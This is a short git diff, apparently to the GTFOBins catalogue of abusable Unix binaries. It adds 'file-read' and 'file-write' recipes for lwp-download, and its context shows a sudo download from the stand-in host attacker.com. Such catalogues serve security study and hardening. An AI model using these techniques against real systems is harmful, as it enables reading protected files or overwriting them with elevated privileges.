diff --git a/_gtfobins/lwp-download.md b/_gtfobins/lwp-download.md index fc29699..1c58a3a 100644 --- a/_gtfobins/lwp-download.md +++ b/_gtfobins/lwp-download.md @@ -16,4 +16,17 @@ functions: URL=http://attacker.com/file_to_get LFILE=file_to_save sudo lwp-download $URL $LFILE + file-read: + - description: The file path must be absolute. + code: | + LFILE=file_to_read + TF=$(mktemp) + lwp-download "file://$LFILE" $TF + cat $TF + file-write: + - code: | + LFILE=file_to_write + TF=$(mktemp) + echo DATA >$TF + lwp-download file://$TF $LFILE ---